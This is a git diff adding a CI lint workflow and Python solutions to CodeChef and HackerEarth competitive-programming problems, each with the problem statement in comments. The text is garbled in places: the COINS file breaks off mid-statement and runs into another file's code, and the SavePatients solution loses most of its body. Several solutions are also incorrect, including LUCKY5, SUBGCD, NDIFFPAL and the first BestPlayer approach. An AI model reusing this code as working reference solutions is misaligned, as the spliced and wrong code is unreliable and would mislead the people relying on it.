diff --git a/.github/workflows/pythonapp.yml b/.github/workflows/pythonapp.yml new file mode 100644 index 0000000..63612d1 --- /dev/null +++ b/.github/workflows/pythonapp.yml @@ -0,0 +1,29 @@ +name: Python application + +on: [push, pull_request] +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v1 + - name: Set up Python 3.7 + uses: actions/setup-python@v1 + with: + python-version: 3.7 + - name: Install dependencies + run: | + python -m pip install --upgrade pip + # pip install -r requirements.txt + - name: Lint with flake8 + run: | + pip install flake8 + # stop the build if there are Python syntax errors or undefined names + flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics + # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide + flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics + - name: Test with pytest + run: | + pip install pytest + # pytest diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..bee8a64 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +__pycache__ diff --git a/CompetitiveProgramming/CodeChef/P23_CHEFA.py b/CompetitiveProgramming/CodeChef/P23_CHEFA.py new file mode 100644 index 0000000..d254353 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P23_CHEFA.py @@ -0,0 +1,43 @@ +# Chef and Roma are playing a game. Rules of the game are quite simple. +# Initially there are N piles of stones on the table. +# In each turn, a player can choose one pile and remove it from the table. +# Each player want to maximize the total number of stones removed by him. +# Chef takes the first turn. +# +# Please tell Chef the maximum number of stones he can remove assuming that both players play optimally. +# +# Input +# The first line of the input contains an integer T denoting the number of test cases. The description of T test cases follows. +# +# The first line of each test case contains a single integer N denoting the number of piles. +# +# The second line contains N space separated integers A1, A2, ..., AN denoting the number of stones in each pile. +# +# Output +# For each test case, output a single line containg the maximum number of stones that Chef can remove. +# +# Constraints +# 1 ≤ Ai ≤ 109 +# Subtask 1 (35 points): T = 10, 1 ≤ N ≤ 1000 +# Subtask 2 (65 points): T = 10, 1 ≤ N ≤ 105 +# +# Example +# Input: +# 2 +# 3 +# 1 2 3 +# 3 +# 1 2 1 +# +# Output: +# 4 +# 3 + +for _ in range(int(input())): + n = int(input()) + array = [int(i) for i in input().split()] + array.sort() + + stones1 = sum([array[i] for i in range(0, n, 2)]) + stones2 = sum([array[i] for i in range(1, n, 2)]) + print(max(stones2, stones1)) diff --git a/CompetitiveProgramming/CodeChef/P24_LUCKY5.py b/CompetitiveProgramming/CodeChef/P24_LUCKY5.py new file mode 100644 index 0000000..5ccf6cf --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P24_LUCKY5.py @@ -0,0 +1,41 @@ +# Chef loves lucky numbers. Everybody knows that lucky numbers are positive integers whose decimal +# representation contains only the lucky digits 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, +# 17, 467 are not. +# +# Chef has a positive integer N. He can apply any of the following operations as many times as he want in +# any order: +# +# Add 1 to the number N. +# Take some digit of N and replace it by any non-zero digit. +# Add any non-zero leading digit to N. +# Find the minimum number of operations that is needed for changing N to the lucky number. +# +# Input +# The first line contains a single positive integer T, the number of test cases. T test cases follow. The +# only line of each test case contains a positive integer N without leading zeros. +# +# Output +# For each T test cases print one integer, the minimum number of operations that is needed for changing N +# to the lucky number. +# +# Constraints +# 1 ≤ T ≤ 10 +# +# 1 ≤ N < 10100000 +# +# Example +# Input: +# 3 +# 25 +# 46 +# 99 +# +# Output: +# 2 +# 1 +# 2 + +for _ in range(int(input())): + number = input().strip() + count = number.count('4') + number.count('7') + print(int(len(number) - count)) diff --git a/CompetitiveProgramming/CodeChef/P35_AMSGAME1.py b/CompetitiveProgramming/CodeChef/P35_AMSGAME1.py new file mode 100644 index 0000000..1b77ed8 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P35_AMSGAME1.py @@ -0,0 +1,82 @@ +# Chef is playing a game on a sequence of N positive integers, say A1, A2, ... AN. The game is played as +# follows. +# If all the numbers are equal, the game ends. +# Otherwise +# Select two numbers which are unequal +# Subtract the smaller number from the larger number +# Replace the larger number with the result from above (see the explanation section for clarity) +# Chef has already figured out that the game always terminates. He also knows, for a given sequence of +# integers, the game will always terminate on the same value, no matter how the game is played. Chef wants +# you to simulate the game for him and tell him on which value will the game terminate for a given sequence +# of integers. +# +# Input +# The first line of the input contains an integer T, the number of test cases. Then follow the +# description of T test cases. The first line of each test case contains a single integer N, the length of +# the sequence. The second line contains N positive integers, each separated by a single space. +# +# Output +# For each test case, output a single integer - the value of all the numbers when they are equal (and the game terminates), on a line by itself. +# +# Constraints +# 1 ≤ T ≤ 100 +# 1 ≤ N ≤ 1000 +# 1 ≤ Ai ≤ 109 +# +# Sample +# Input +# 3 +# 2 +# 10 12 +# 2 +# 5 9 +# 3 +# 6 10 15 +# +# Output +# 2 +# 1 +# 1 +# +# Explanation +# Test Case 1: Since there are only two numbers, the operations are forced. +# +# { 10, 12 } => Replace 12 with ( 12 - 10 = 2 ) => { 10, 2 } +# { 10, 2 } => Replace 10 with ( 10 - 2 = 8 ) => { 8, 2 } +# { 8, 2 } => Replace 8 with ( 8 - 2 = 6 ) => { 6, 2 } +# { 6, 2 } => Replace 6 with ( 6 - 2 = 4 ) => { 4, 2 } +# { 4, 2 } => Replace 4 with ( 4 - 2 = 2 ) => { 2, 2 } +# The value of all the numbers when the game ends is 2. +# +# Test Case 2: Since there are only two numbers, the operations are forced. +# +# { 5, 9 } => Replace 9 with ( 9 - 5 = 4 ) => { 5, 4 } +# { 5, 4 } => Replace 5 with ( 5 - 4 = 1 ) => { 1, 4 } +# { 1, 4 } => Replace 4 with ( 4 - 1 = 3 ) => { 1, 3 } +# { 1, 3 } => Replace 3 with ( 3 - 1 = 2 ) => { 1, 2 } +# { 1, 2 } => Replace 2 with ( 2 - 1 = 1 ) => { 1, 1 } +# The value of all the numbers when the game ends is 1. +# +# Test Case 3: One way to play the game is +# +# { 6, 10, 15 } => Replace 15 with ( 15 - 6 = 9 ) => { 6, 10, 9 } +# { 6, 10, 9 } => Replace 10 with ( 10 - 6 = 4 ) => { 6, 4, 9 } +# { 6, 4, 9 } => Replace 9 with ( 9 - 6 = 3 ) => { 6, 4, 3 } +# { 6, 4, 3 } => Replace 6 with ( 6 - 4 = 2 ) => { 2, 4, 3 } +# { 2, 4, 3 } => Replace 3 with ( 3 - 2 = 1 ) => { 2, 4, 1 } +# { 2, 4, 1 } => Replace 4 with ( 4 - 2 = 2 ) => { 2, 2, 1 } +# { 2, 2, 1 } => Replace first 2 with ( 2 - 1 = 1 ) => { 1, 2, 1 } +# { 1, 2, 1 } => Replace 2 with ( 2 - 1 = 1 ) => { 1, 1, 1 } + +for _ in range(int(input())): + n = int(input()) + numbers = [int(i) for i in input().split()] + res = 0 + while True: + maxi = max(numbers) + mini = min(numbers) + res = maxi - mini + numbers[numbers.index(maxi)] = res + if(n == numbers.count(res)): + print(res) + break diff --git a/CompetitiveProgramming/CodeChef/P36_SUBGCD.py b/CompetitiveProgramming/CodeChef/P36_SUBGCD.py new file mode 100644 index 0000000..5087b84 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P36_SUBGCD.py @@ -0,0 +1,70 @@ +# Given an array A1,A2...AN, you have to print the size of the largest contiguous subarray such that +# GCD of all integers in that subarray is 1. +# +# Formally, +# For a subarray Ai,Ai+1...Aj where 1 ≤ i < j ≤ N to be valid: GCD(Ai,Ai+1...Aj) should be 1. You have to +# print the size of the largest valid subarray. +# +# +# If no valid subarray exists, output -1. +# +# Note:A single element is not considered as a subarray according to the definition of this problem. +# +# Input +# First line contains T, the number of testcases. Each testcase consists of N in one line followed by N +# integers in the next line. +# +# Output +# For each testcase, print the required answer in one line. +# +# Constraints +# 1 ≤ T ≤ 10 +# 2 ≤ N ≤ 105 +# 1 ≤ Ai ≤ 105 +# +# Example +# Input: +# 2 +# 2 +# 7 2 +# 3 +# 2 2 4 +# +# Output: +# 2 +# -1 +# Explanation +# Example case 1.GCD(2,7)=1. So the subarray [A1,A2] is valid. +# +# Example case 2.No subarray satisfies. +# + +def gcd(firstNumber, secondNumber): + firstNumber = int(firstNumber) + secondNumber = int(secondNumber) + if firstNumber < secondNumber: + smaller = firstNumber + else: + smaller = secondNumber + + for i in range(1, smaller + 1): + if (firstNumber % i == 0) and (secondNumber % i == 0): + gcd = i + + return gcd + +for _ in range(int(input())): + count = int(input()) + array = input().split() + currentGCD = array[0] + flag = 0 + size = 0 + for i in array: + currentGCD = gcd(i, currentGCD) + if currentGCD == 1: + flag = 1 + print(count) + break + + if flag == 0: + print(-1) \ No newline at end of file diff --git a/CompetitiveProgramming/CodeChef/P37_NDIFFPAL.py b/CompetitiveProgramming/CodeChef/P37_NDIFFPAL.py new file mode 100644 index 0000000..73510e1 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P37_NDIFFPAL.py @@ -0,0 +1,57 @@ +# A palindrome is a string that reads same in both directions: forwards and backwards. For example, +# the strings radar and noon are palindromes, whereas the string chef is not a palindrome as being read +# backwards is becomes equal to fehc, which is not equal to chef. +# +# Let's say that the pair of indices (i, j) denotes a palindrome in some string S iff i ≤ j and the +# substring starting at the i-th character and ending at the j-th character of S is a palindrome. +# +# Given an integer N. Your task is to construct a string S such that there are exactly N different +# pairs (i, j) that denotes a palindrome. +# +# Input +# The first line of the input contains an integer T denoting the number of test cases. The description +# of T test cases follows. +# +# The first line of each test case contains a single integer N denoting the sought number of pairs that +# denote palindrome. +# +# Output +# For each test case, output a single line containing a string S, consisting of lowecase Latin letters, +# and having exactly N distinct palindrome-denoting pairs. If there's a few such strings, output any one. +# +# If such string S doesn't exist, output -1 instead of it. +# +# Constraints +# 1 ≤ T ≤ 100 +# 1 ≤ N ≤ 104 +# +# Example +# Input: +# 3 +# 6 +# 7 +# 2 +# +# Output: +# noon +# radar +# ab +# +# Explanation: +# Example case 1. In the string "noon", the pairs that denote a palindrome are (1-indexed): (1, 1), (1, 4), (2, 2), (2, 3), (3, 3), (4, 4). +# +# Example case 2. In the string "radar", the pairs that denote a palindrome are (1-indexed): (1, 1), (1, 5), (2, 2), (2, 4), (3, 3), (4, 4), (5, 5). +# +# Example case 3. In the string "ab", the pairs denoting a palindrome are : (1, 1), (2, 2) + +for _ in range(int(input())): + n = int(input()) + s = 'abcdefghijklmnopqrstuvwxyz' + if (n <= 26): + print(s[:n]) + else: + a = n // 26 + b = n % 26 + c = a * s + c = c + s[:b] + print (c) diff --git a/CompetitiveProgramming/CodeChef/P38_PRINCESS.py b/CompetitiveProgramming/CodeChef/P38_PRINCESS.py new file mode 100644 index 0000000..313a6a5 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P38_PRINCESS.py @@ -0,0 +1,62 @@ +# We all know that the princess is very beautiful but one day jealous from her beauty, a person asked a +# question from princess in order to check her wisdom. Since princess is not good at programming you need +# to help her in solving the problem. +# You are given a string of length N. You have to check among all the the substrings that whether a substring +# exist or not which is palindrome and having length greater than 1. If such a substring exists then print +# YES else print NO. +# +# Input +# The first line contains a single integer T, the number of test cases. Each test case is described by a +# single line containing a string. +# +# Output +# For each test case, output a single line containing the YES or NO. +# +# Constraints +# 1 ≤ T ≤ 10 +# 1 ≤ N ≤ 100000 +# +# Example +# Input: +# 2 +# ab +# babba +# +# Output: +# NO +# YES +# Explanation +# Example case 1.The only substring whose length is greater than 1 is ab, and its not a palindrome. +# +# Example case 2.abba is a substring of the string and its a palindrome thus YES. + +def manacher(string): + + string_with_bounds = '#'.join('^{}$'.format(string)) + length = len(string_with_bounds) + P = [0] * length + center = right = 0 + + for i in range(1, length - 1): + P[i] = (right > i) and min(right - i, P[2 * center - i]) + + # Attempt to expand palindrome centered at i + while string_with_bounds[i + 1 + P[i]] == string_with_bounds[i - 1 - P[i]]: + P[i] += 1 + + # If palindrome centered at i expand past R, + # adjust center based on expanded palindrome. + if i + P[i] > right: + center, right = i, i + P[i] + + # Find the maximum element in P and return the string + maxLen, centerIndex = max((n, i) for i, n in enumerate(P)) + return string[(centerIndex - maxLen)//2: (centerIndex + maxLen)//2] + +for _ in range(int(input())): + string = input() + result = manacher(string) + if len(result) > 1: + print('YES') + else: + print('NO') diff --git a/CompetitiveProgramming/CodeChef/P39_ALATE.py b/CompetitiveProgramming/CodeChef/P39_ALATE.py new file mode 100644 index 0000000..6d74eb6 --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P39_ALATE.py @@ -0,0 +1,76 @@ +# Anmol always comes to class when the class is about to end. Frustrated by this behaviour of Anmol, his +# teacher has given him a special question as his homework. We all know that Anmol is very weak at computer +# science thus he came to you for help. Help Anmol in order to solve the problem. +# You are given an array A of length N(1 indexed). You have to process Q queries of two different types: +# 1 x — print func(x) +# 2 x y— change the value of A[x] to y. +# func(x) is defined as :: +# +# func(x) +# { +# sum = 0 ; +# for(i=x;i<=N;i+=x) +# sum = (sum + A[i]*A[i]) ; +# return sum ; +# } +# +# For each query of type 1 print the value of func(x) in a new line. +# Input +# The first line contains a single integer T, the number of test cases. +# Each test case is described as follows : +# The first line contains two numbers N and Q. +# In the next line N space separated numbers denoting the values of the array A. +# Each of the following Q lines contains a query of one of the above mentioned two types. +# Note :: Since the test files are large use scanf/printf for I/O. +# +# Output +# For each test case, For each query of type 1 print the required answer. +# +# +# Since the answer can be very large, output it modulo 1000000007 +# Constraints +# 1 ≤ T ≤ 10 +# 1 ≤ N ≤ 100000 +# 1 ≤ Q ≤ 100000 +# 1 ≤ A[i] ≤ 1e9 +# 1 ≤ x ≤ N +# 1 ≤ y ≤ 1e9 +# +# Subtasks +# +# Subtask #1 (20 points), Time limit : 1 sec +# 1 ≤ T<=10, N<=100 +# +# +# Subtask #2 (80 points), Time limit : 1 sec +# 1 ≤ T<=10, N<=100000 +# +# +# Example +# Input: +# 1 +# 5 3 +# 1 2 3 4 5 +# 1 1 +# 2 2 1 +# 1 2 +# Output: +# 55 +# 17 + +def func(x): + sum = 0 + for i in range(x, int(n) + 1, x): + sum = sum + array[i] * array[i] + return sum + +for _ in range(int(input())): + n, q = input().split() + array = [int(i) for i in input().split()] + array.insert(0, 0) + for _ in range(int(q)): + inputs = [int(i) for i in input().split()] + if len(inputs) == 2: + print(func(inputs[1])) + else: + array[inputs[1]] = inputs[2] diff --git a/CompetitiveProgramming/CodeChef/P40_COINS.py b/CompetitiveProgramming/CodeChef/P40_COINS.py new file mode 100644 index 0000000..567985f --- /dev/null +++ b/CompetitiveProgramming/CodeChef/P40_COINS.py @@ -0,0 +1,46 @@ +# In Byteland they have a very strange monetary system. +# +# Each Bytelandian gold coin has an integer number written on it. A coin n can be exchanged in a bank into +# three coins: n/2, n/3 and n/4. But these numbers are all rounded down (the banks have to make a profit). +# +# You can also sell Bytelandian coins for American dollars. The exchange rate is 1:1. But you can not buy +# Bytelandian coins. +# +# You have one gold coin. What is the maximum amount of American dollars you can get for it? +# +# Input +# The input will contain several test cases (not more than 10). Each testcase is a single line with a number +# n, 0 <= n <= 1 000 000 000. It is the number written on your coin. +# +# Output +# For each test case output a single line, containing the maximum amount of American dollars you can make. +# +# Example +# Input: +# 12 +# 2 +# +# Output: +# 13 +# 2 +# You can change 12 into 6, 4 and 3, and then change these into $6+$4+$3 = $13. If you try changing the +# coin 2 into 3 smaller coins, you will get 1, 0 and 0, and later you can get no more than $1 out of them. +# It is better just to change the 2 coin directly into $2. + +import sys + +list={} +def chk(n): + if n in list.keys(): + return list[n] + if n<=2: + ans = n + else: + ans = chk(n//2) + chk(n//3) + chk(n//4) + if ans capacity: + bottles -= 1 + break + bottles += 1 + check += capacities[i] + + print(bottles) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P01_Monk-Takes-A-Walk.py b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P01_Monk-Takes-A-Walk.py new file mode 100644 index 0000000..a6885a4 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P01_Monk-Takes-A-Walk.py @@ -0,0 +1,37 @@ +# Today, Monk went for a walk in a garden. There are many trees in the garden and each tree has an English alphabet on +# it. While Monk was walking, he noticed that all trees with vowels on it are not in good state. He decided to take care +# of them. So, he asked you to tell him the count of such trees in the garden. +# Note : The following letters are vowels: 'A', 'E', 'I', 'O', 'U' ,'a','e','i','o' and 'u'. +# +# Input: +# The first line consists of an integer T denoting the number of test cases. +# Each test case consists of only one string, each character of string denoting the alphabet (may be lowercase or +# uppercase) on a tree in the garden. +# +# Output: +# For each test case, print the count in a new line. +# +# Constraints: +# 1≤T≤10 +# 1≤length of string≤105 +# +# SAMPLE INPUT +# 2 +# nBBZLaosnm +# JHkIsnZtTL +# +# SAMPLE OUTPUT +# 2 +# 1 +# +# Explanation +# In test case 1, a and o are the only vowels. So, count=2 + +for _ in range(int(input())): + count = 0 + string = input().lower() + for i in string: + if i in ['a', 'e', 'i', 'o', 'u']: + count += 1 + + print(count) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P02_Rest-In-Peace.py b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P02_Rest-In-Peace.py new file mode 100644 index 0000000..5e84507 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P02_Rest-In-Peace.py @@ -0,0 +1,43 @@ +# The grandest stage of all, Wrestlemania XXX recently happened. And with it, happened one of the biggest heartbreaks +# for the WWE fans around the world. The Undertaker's undefeated streak was finally over. +# +# Now as an Undertaker fan, you're disappointed, disheartened and shattered to pieces. And Little Jhool doesn't want to +# upset you in any way possible. (After all you are his only friend, true friend!) Little Jhool knows that you're still +# sensitive to the loss, so he decides to help you out. +# +# Every time you come across a number, Little Jhool carefully manipulates it. He doesn't want you to face numbers which +# have "21" as a part of them. Or, in the worst case possible, are divisible by 21. +# +# If you end up facing such a number you feel sad... and no one wants that - because you start chanting "The streak is +# broken!" , if the number doesn't make you feel sad, you say, "The streak lives still in our heart!" +# +# Help Little Jhool so that he can help you! +# +# Input Format: +# The first line contains a number, t, denoting the number of test cases. +# After that, for t lines there is one number in every line. +# +# Output Format: +# Print the required string, depending on how the number will make you feel. +# +# Constraints: +# 1 ≤ t ≤ 100 +# 1 ≤ n ≤ 1000000 +# +# SAMPLE INPUT +# 3 +# 120 +# 121 +# 231 +# +# SAMPLE OUTPUT +# The streak lives still in our heart! +# The streak is broken! +# The streak is broken! + +for _ in range(int(input())): + num = input() + if (int(num)% 21 == 0) or ('21' in num): + print('The streak is broken!') + else: + print('The streak lives still in our heart!') diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P03_Manna's-First-Name.py b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P03_Manna's-First-Name.py new file mode 100644 index 0000000..72f21ac --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P03_Manna's-First-Name.py @@ -0,0 +1,39 @@ +# Manna is extremely disappointed to find out that no one in his college knows his first name. Even his classmates call +# him only by his last name. Frustrated, he decides to make his fellow college students know his first name by forcing +# them to solve this question. +# +# You are given a long string as input in each testcase, containing any ASCII character. Your task is to find out the +# number of times SUVO and SUVOJIT appears in it. +# +# Note: This problem must be solved in C language only. +# +# Input Format +# The first line contains the number of testcases, T. Next, T lines follow each containing a long string S. +# +# Output Format +# For each long string S, display the no. of times SUVO and SUVOJIT appears in it. +# +# Constraints +# +# 1 <= T <= 100 +# 1 <= Length of each string <= 150 +# +# SAMPLE INPUT +# 3 +# SUVOJITSU +# 651SUVOMN +# $$$$$SUVOSUVOJIT$$$$$ +# +# SAMPLE OUTPUT +# SUVO = 0, SUVOJIT = 1 +# SUVO = 1, SUVOJIT = 0 +# SUVO = 1, SUVOJIT = 1 + +testCases = int(input()) +for _ in range(testCases): + suvojit = 0 + suvo = 0 + s = input() + suvojit = s.count("SUVOJIT") + suvo = s.count("SUVO") + print('SUVO = ',suvo-suvojit,', SUVOJIT = ',suvojit,sep='') diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P04_Repeated-K-Times.py b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P04_Repeated-K-Times.py new file mode 100644 index 0000000..47e0c01 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P04_Repeated-K-Times.py @@ -0,0 +1,43 @@ +# Given a List of N number a1,a2,a3........an, You have to find smallest number from the List that is repeated in the +# List exactly K number of times. +# +# Input Format +# +# First Line of Input Contain Single Value N, Size of List +# Second Line of Input Contain N Space Separated Integers +# Third Line of Input Contain Single Value K +# +# Output Format +# +# Smallest Integer Value That is Repeated Exactly K Number of Time +# +# Constraints +# +# 0 < N < 100001 +# 0 < K < 100001 +# 0 < ai < 100001 +# +# NOTE +# There Will Be Atleast One Variable Which Is Repeated K Times +# +# SAMPLE INPUT +# 5 +# 2 2 1 3 1 +# 2 +# +# SAMPLE OUTPUT +# 1 + +n = int(input()) +array = [int(i) for i in input().split()] +arrayCheck = list(set(array)) +k = int(input()) +nos = [] +count = 0 +for i in range(len(arrayCheck)): + count = array.count(arrayCheck[i]) + if count == k: + nos.append(arrayCheck[i]) + +nos.sort() +print(nos[0]) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P05_SimpleSearch.py b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P05_SimpleSearch.py new file mode 100644 index 0000000..598fc7e --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P05_SimpleSearch.py @@ -0,0 +1,40 @@ +# Given a List of Distinct N number a1,a2,a3........an. +# Find The Position Of Number K In The Given List. +# +# Input Format +# +# First Line Take Input Value Of N +# +# Second Line Take Input N Space Separated Integer Value +# +# Third Line Take Input Value Of K +# +# Output Format +# +# Position Of K In The Given List +# +# Constraints +# +# 0 < N < 100001 +# 0 < ai < 100001 +# 0 < K < 100001 +# +# NOTE: +# Array Indexing Starts From 0 +# +# SAMPLE INPUT +# 5 +# 1 2 3 4 5 +# 4 +# +# SAMPLE OUTPUT +# 3 + +n = int(input()) +array = [int(i) for i in input().split()] +k = int(input()) + +for i in range(len(array)): + if array[i] == k: + print(i) + break diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P06_RankIt.py b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P06_RankIt.py new file mode 100644 index 0000000..403b0a5 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P06_RankIt.py @@ -0,0 +1,61 @@ +# You have been given an array A consisting of N integers. All the elements in this array A are unique. You have to +# answer some queries based on the elements of this array. Each query will consist of a single integer x. You need to +# print the rank based position of this element in this array considering that the array is 1 indexed. The rank +# based position of an element in an array is its position in the array when the array has been sorted in ascending order. +# +# Note: It is guaranteed that all the elements in this array are unique and for each x belonging to a query, value ′x′ +# shall exist in the array +# +# Input Format +# +# The first line consists of a single integer N denoting the size of array A. The next line contains N unique integers, +# denoting the content of array A. The next line contains a single integer q denoting the number of queries. Each of +# the next q lines contains a single integer x denoting the element whose rank based position needs to be printed. +# +# Output Format +# +# You need to print q integers denoting the answer to each query. +# +# Constraints +# +# 1≤N≤105 +# 1≤A[i]≤109 +# 1≤q≤105 +# 1≤x≤109 +# +# SAMPLE INPUT +# 5 +# 1 2 3 4 5 +# 5 +# 1 +# 2 +# 3 +# 4 +# 5 +# +# SAMPLE OUTPUT +# 1 +# 2 +# 3 +# 4 +# 5 + +n = int(input()) +array = [int(i) for i in input().split()] +array.insert(0, 0) +array.sort() +q = int(input()) + +def binarySearch(low, high, element): + while(low <= high): + mid = (low + high) // 2 + if array[mid] == element: + return mid + elif array[mid] < element: + low = mid + 1 + else: + high = mid - 1 + +for i in range(q): + number = int(input()) + print(binarySearch(0,len(array), number)) diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P07_DiscoverTheMonk.py b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P07_DiscoverTheMonk.py new file mode 100644 index 0000000..f00ad10 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Searching/P07_DiscoverTheMonk.py @@ -0,0 +1,78 @@ +# You are given an array A of size N, and Q queries to deal with. For each query, you are given an integer X, and +# you're supposed to find out if X is present in the array A or not. +# +# Input: +# The first line contains two integers, N and Q, denoting the size of array A and number of queries. The second line +# contains N space separated integers, denoting the array of elements Ai. The next Q lines contain a single integer X +# per line. +# +# Output: +# For each query, print YES if the X is in the array, otherwise print NO. +# +# Constraints: +# 1 <= N, Q <= 105 +# 1 <= Ai <= 109 +# 1 <= X <= 109 +# +# SAMPLE INPUT +# 5 10 +# 50 40 30 20 10 +# 10 +# 20 +# 30 +# 40 +# 50 +# 60 +# 70 +# 80 +# 90 +# 100 +# +# SAMPLE OUTPUT +# YES +# YES +# YES +# YES +# YES +# NO +# NO +# NO +# NO +# NO + +# Using binary search (non-efficient) +n, q = map(int, input().split()) +array = [int(i) for i in input().split()] +array.insert(0, 0) +array.sort() + +def binarySearch(low, high, element): + while(low <= high): + mid = (low + high) // 2 + try: + if array[mid] == element: + return mid + elif array[mid] < element: + low = mid + 1 + else: + high = mid - 1 + except IndexError: + return False + +for i in range(q): + number = int(input()) + ans = binarySearch(0,len(array), number) + if ans: + print('YES') + else: + print('NO') + +# using traditional python (set as they are hashtables, hence efficient) +in_ = input().split() +arr = [x for x in input().split()] +arr =set(arr) # since python set is a hashtable and O(n) in hashtbale is O(1) +for i in range(int(in_[1])): + if input() in arr: + print("YES") + else: + print("NO") diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P01_SavePatients.py b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P01_SavePatients.py new file mode 100644 index 0000000..1fb675a --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P01_SavePatients.py @@ -0,0 +1,42 @@ +# Bubble Sort Problem +# +# A new deadly virus has infected large population of a planet. A brilliant scientist has discovered a new strain of +# virus which can cure this disease. Vaccine produced from this virus has various strength depending on midichlorians +# count. A person is cured only if midichlorians count in vaccine batch is more than midichlorians count of person. A +# doctor receives a new set of report which contains midichlorians count of each infected patient, Practo stores all +# vaccine doctor has and their midichlorians count. You need to determine if doctor can save all patients with the +# vaccines he has. The number of vaccines and patients are equal. +# +# Input Format +# +# First line contains the number of vaccines - N. Second line contains N integers, which are strength of vaccines. +# Third line contains N integers, which are midichlorians count of patients. +# +# Output Format +# +# Print a single line containing ′Yes′ or ′No′. +# +# Input Constraint +# 1 0: + print('No') +else: + print('Yes') diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P02_BestPlayer.py b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P02_BestPlayer.py new file mode 100644 index 0000000..738b1a1 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P02_BestPlayer.py @@ -0,0 +1,86 @@ +# Bubble Sort Problem + +# It's Lolympics 2016 right now, and we all know who's the best player there right now: Kalyani! Obviously, he has a +# huge female fan following and he has to make sure they are all happy and rooting for him to win the gold medals. +# +# But with fan following comes arrogance and lack of time. Thus, he has sufficient time to interact with atmost T of +# his fans. Each fan is defined by two parameters : Name and Fan Quotient. The name defines the name of the fan, while +# the fan quotient is a measure of the fan's devotion towards Kalyani. Higher the fan quotient, greater is the devotion. +# Kalyani now wants to meet T of his fans. While selecting the fans he wants to meet, he wants to make sure that a fan +# with a higher fan quotient should be given a chance in favour of those with lesser fan quotient. In case of ties, he +# sorts their name lexicographically and chooses the lexicographically lesser named fan. +# +# Given details of N fans, can you help out Kalyani by giving him a list of fans he would be interacting with? +# +# Input Format : +# +# The first line contains N and T, the number of fans and the maximum number of fans Kalyani can meet. Each of the +# next N lines contains a string and an integer separated by a space. The string denotes the name of the fan while the +# integer depicts the fan quotient. +# +# Output Format : +# +# Output T lines, each containing the name of the fans selected. Fans with higher fan quotient should be outputted +# first and in case of a tie, the lexicographically minimum name should come first. +# +# Constraints : +# 1≤T≤N≤1000 +# 1≤lengthofname≤20 +# 1≤fanquotient≤109 +# +# Name would only consist of characters in set [a-z]. It is not guaranteed that the names are distinct. +# +# SAMPLE INPUT +# 3 2 +# surbhi 3 +# surpanakha 3 +# shreya 5 +# +# SAMPLE OUTPUT +# shreya +# surbhi + +# less efficient solution +n, t = map(int, input().split()) +fans = [] +for _ in range(n): + fans.append(input().split()) + +for i in range(n - 1, 0, -1): + for j in range(i): + if int(fans[j][1]) > int(fans[j + 1][1]): + fans[j], fans[j + 1] = fans[j + 1], fans[j] + +fans = fans[::-1] + +for i in range(t): + if int(fans[i][1]) == int(fans[i + 1][1]): + check = [fans[i][0], fans[i + 1][0]] + check.sort() + print(check[0]) + else: + print(fans[i][0]) + +# more efficient solution +n,m = map(int,input().split()) +s={} +for i in range(n): + k,v=input().split() + v=int(v) + if v not in s: + s[v]=[k] + else: + s[v].append(k) + s[v].sort() +list1=[x for x in s.keys()] +list1.sort(reverse=True) +c=0 +for i in list1: + if len(s[i])>0: + for j in s[i]: + print (j) + c=c+1 + if c == m: + break + if c==m: + break diff --git a/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P03_SelectonSortProblem.py b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P03_SelectonSortProblem.py new file mode 100644 index 0000000..7c1a3ae --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Algorithms/Sorting/P03_SelectonSortProblem.py @@ -0,0 +1,43 @@ +# Selection Sort Problem +# +# Consider an Array a of size N +# Iterate from 1 to N +# In ith iteration select the ith minimum and swap it with a[i] +# You are given an array a, size of the array N and an integer x. +# Follow the above algorithm and print the state of the array after x iterations have been performed. +# +# Input Format +# +# The first line contains two integer N and x denoting the size of the array and the steps of the above algorithm to be +# performed respectively. The next line contains N space separated integers denoting the elements of the array. +# +# Output Format +# +# Print N space separated integers denoting the state of the array after x steps +# +# Constraints +# +# 1≤N≤100 +# 1≤a[i]≤100 